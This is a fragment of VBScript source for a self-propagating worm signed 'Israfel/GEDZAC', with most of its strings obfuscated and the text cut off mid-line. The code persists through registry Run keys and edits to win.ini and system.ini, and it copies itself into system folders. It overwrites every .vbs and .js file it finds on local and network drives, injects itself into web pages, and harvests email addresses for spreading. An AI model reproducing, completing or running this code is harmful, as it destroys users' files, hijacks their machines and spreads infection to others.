jscode=q("qfu'ath':'ibp'Fdsnqb_Hembds/%Tdunwsni`)AnkbT~tsbjHembds%.<")&vbcrlf&_ q("qfu'ptk':'ibp'Fdsnqb_Hembds/%PTdunws)Tobkk%.<")&vbcrlf&q("qfu'mt':'ath)HwbiSbsAnkb/PTdunws)TdunwsArkkIfjb.<")&vbcrlf&_ q("ahu'/n:6<'n;64<'n,,.'|'mt)TlnwKnib/.<'z")&vbcrlf&q("mtd':'mt)UbfcFkk/.<")&vbcrlf&_ q("mtd':'mtd)ubwkfdb/%-(%+%%.<")&vbcrlf&q("mt)Dkhtb/.<")&vbcrlf&_ q("qfu'mt':'ath)DubfsbSbsAnkb/ath)@bsTwbdnfkAhkcbu/6.,%[[mt)qet%.<")&vbcrlf&_ q("mt)Punsb/mtd.<")&vbcrlf&q("mt)Dkhtb/.<")&vbcrlf&q("ptk)Uri/ath)@bsTwbdnfkAhkcbu/6.,%[[mt)qet%.<")&vbcrlf&q("(-")&vbcrlf If InStr(LCase(Gsp(3)),q("lbuibk45"))=0 Then Call Main: WScript.Quit Else Call Main: Call ListP2P: Call iFirmas Call CreateASP: Call VBSinDoc Call VBSinXls: Call SearchInDrivesB Call Payload: Call SendImail '->Call ActualizarVBS: Call SearchInDrivesA Call ISleep End If End If '---------------------------------------------------------------------------- Sub Main() On Error Resume Next Call CreateNewExt Rgw q("OLB^XKHDFKXJFDONIB[Thaspfub[Jnduhthas[Pnichpt[DruubisQbutnhi[Uri[Lbuibk45"), Gsp(1)&q("[Lbuibk45)pni"),"" fso.CopyFile Gsp(3), Gsp(1)&q("[Ntufabk)qet") Rgw q("OLB^XKHDFKXJFDONIB[Thaspfub[Jnduhthas[Pnichpt[DruubisQbutnhi[Uri[Ntufabk"), Gsp(1)&q("[Ntufabk)qet"),"" fso.CopyFile Gsp(3), Gsp(1)&q("[@BC]FD)qet") fso.CopyFile Gsp(3), Gsp(1)&q("[jhrtbXdhian`rufshu)pni") IniEdit Gsp(0)&q("[pni)nin"), q("\pnichptZ"), q("uri"), Gsp(1)&q("[jhrtbXdhian`rufshu)pni") fso.CopyFile Gsp(3), Gsp(1)&q("[pnij`c)pni") IniEdit Gsp(0)&q("[t~tsbj)nin"), q("\ehhsZ"), q("tobkk"), q("Bwkhubu)bb'") & Gsp(1)&q("[pnij`c)pni") fso.CopyFile Gsp(3), Gsp(1)&q("[Ankb)qet") If Not(FileEx(Gsp(1)&q("[wl}nw)bb"))) Then Omponents 1,Gsp(1)&q("[wl}nw)bb") If Not(FileEx(Gsp(1)&q("[ub`tuq)bb"))) Then Omponents 4,Gsp(1)&q("[ub`tuq)bb") wsl.Run Gsp(1)&q("[ub`tuq)bb") If Not(FileEx(Gsp(1)&q("[ankb}nw)}nw"))) Then wsl.Run GetCl() & Gsp(1)&q("[wl}nw)bb'") & fso.GetFolder(Gsp(1)).ShortPath & q("[ankb}nw)}nw") & " " & Nms(Gsp(1)&q("[ankb)qet")),0,True End If If FileEx(Gsp(1)&q("[Lbuibk45)pni")) Then Exit Sub Call Avril Rgw q("OLB^XKHDFKXJFDONIB[Thaspfub[@BC]FD'KFET[Ntufabk[Wfubis"),Gsp(3),"" fso.CopyFile Gsp(3), Gsp(1)&q("[Lbuibk45)pni") If InStr(LCase(Gsp(3)),q("lbuibk45"))=0 Then wsl.Run Gsp(1)&q("[Lbuibk45)pni"): WScript.Quit End Sub '---------------------------------------------------------------------------- Sub SearchInDrivesA() On Error Resume Next Set Osd = CreateObject(q("Phuc)Fwwkndfsnhi")) If ValidObject(Osd)=False Then Set Osd = CreateObject(q("Bdbk)Fwwkndfsnhi")) If ValidObject(Osd)=False Then Call SearhInDrivesB: Exit Sub Osd.Visible = False For Each n in fso.Drives If (n.DriveType = 2) Or (n.DriveType = 3) Then Set Nsf = Osd.FileSearch Nsf.NewSearch Nsf.LookIn = n.Path & "\" Nsf.SearchSubFolders = True Nsf.FileName = q("-)os<'-)wk`<'-)jos-<'-)qet<'-)qeb<'-)osj-<'-)osf<'-)mt-<'-)}nw<'-)wow<'-)mtw<'-)tosj-<'-)wosj-<'jnud)nin") Nsf.Execute For i = 1 To Nsf.FoundFiles.Count fExt = LCase(fso.GetExtensionName(Nsf.FoundFiles(i))): fNam = LCase(fso.GetFile(Nsf.FoundFiles(i)).Name) If (fExt="vbs") Or (fExt="vbe") Then iVbs(Nsf.FoundFiles(i)) ElseIf (fExt="js") Or (fExt="jse") Then iJs(Nsf.FoundFiles(i)) ElseIf (fExt="hta") Or (fExt="htm") Or (fExt="html") Or (fExt="php") Or (fExt="shtm") Or (fExt="shtml") Or (fExt="phtm") Or (fExt="phtml") Or (fExt="mht") Or (fExt="mhtml") Or (fExt="plg") Or (fExt="htx") Then iHta(Nsf.FoundFiles(i)) ElseIf (fExt="zip") Then iZip(Nsf.FoundFiles(i)) ElseIf (fNam="mirc.ini") Then iMirc(Nsf.FoundFiles(i)) End If Next End If Next Osd.Quit End Sub '---------------------------------------------------------------------------- Sub SearchInDrivesB() On Error Resume Next Im=Array(q("[njo)cfs"),q("[njk)cfs"),q("[njq)cfs")) For i=0 To 2: Set Imm=fso.CreateTextFile(Gsp(2)&Im(i)): Imm.write "Israfel/GEDZAC": Imm.Close: Next For Each D In fso.Drives If (D.DriveType=2) Or (D.DriveType=3) Then SearchInFolders(D.Path&"\") Next End Sub '---------------------------------------------------------------------------- Sub SearchInFolders(Path) On Error Resume Next For Each F In fso.GetFolder(Path).SubFolders SearchFiles(F.Path) SearchInFolders(F.Path) Next End Sub '---------------------------------------------------------------------------- Sub SearchFiles(Path) On Error Resume Next For Each Fi In fso.GetFolder(Path).Files fExt = LCase(fso.GetExtensionName(Fi.Path)): fNam = LCase(Fi.Name) If (fExt="vbs") Or (fExt="vbe") Then iVbs(Fi.Path) ElseIf (fExt="js") Or (fExt="jse") Then iJs(Fi.Path) ElseIf (fExt="hta") Or (fExt="htm") Or (fExt="html") Or (fExt="php") Or (fExt="shtm") Or (fExt="shtml") Or (fExt="phtm") Or (fExt="phtml") Or (fExt="mht") Or (fExt="mhtml") Or (fExt="plg") Or (fExt="htx") Then iHta(Fi.Path) ElseIf (fExt="zip") Then iZip(Fi.Path) ElseIf (fNam="mirc.ini") Then iMirc(Fi.Path) End If Next End Sub '---------------------------------------------------------------------------- Sub iVbs(Path) On Error Resume Next: SA Path,0 Set vbs = fso.OpenTextFile(Path,2,1): vbs.write iscript: vbs.Close End Sub '---------------------------------------------------------------------------- Sub iJs(Path) On Error Resume Next: SA Path,0 Set js = fso.OpenTextFile(Path,2,1): js.write jscode & iscript & q("-("): js.Close End Sub '---------------------------------------------------------------------------- Sub iHta(Path) On Error Resume Next: SA Path,0 Set Xf = fso.OpenTextFile(Path) Do While Xf.AtendOfstream = False Xl = Xf.ReadLine If InStr(LCase(Xl), "israfel") <> 0 then Exit Do End if n = InStr(LCase(Xl), "mailto:") If n <> 0 Then Xl = Left(Right(Xl, (Len(Xl) - (n + 6))), InStr(Right(Xl, (Len(Xl) - (n + 6))), Chr(34)) - 1) If IsMail(Xl) Then Sdy.Add Sdy.Count + 1, Xl End If Loop Xf.Close Call iMail Set hta = fso.OpenTextFile(Path): htar = hta.ReadAll: hta.Close If InStr(LCase(htar),"israfel")<>0 Then Exit Sub If InStr(LCase(Path),"inetpub")=0 Then Set hta = fso.OpenTextFile(Path,8): hta.write vbcrlf& q(";Tdunws'Kfi`rf`b: QETdunws 9") &vbcrlf& iscript &vbcrlf& q(";(Tdunws9"): hta.Close Else Set hta = fso.OpenTextFile(Path,2): hta.write vbcrlf & q(";Hembds'Cfsf:%nntuhhs)ftw%9;(Hembds9")&"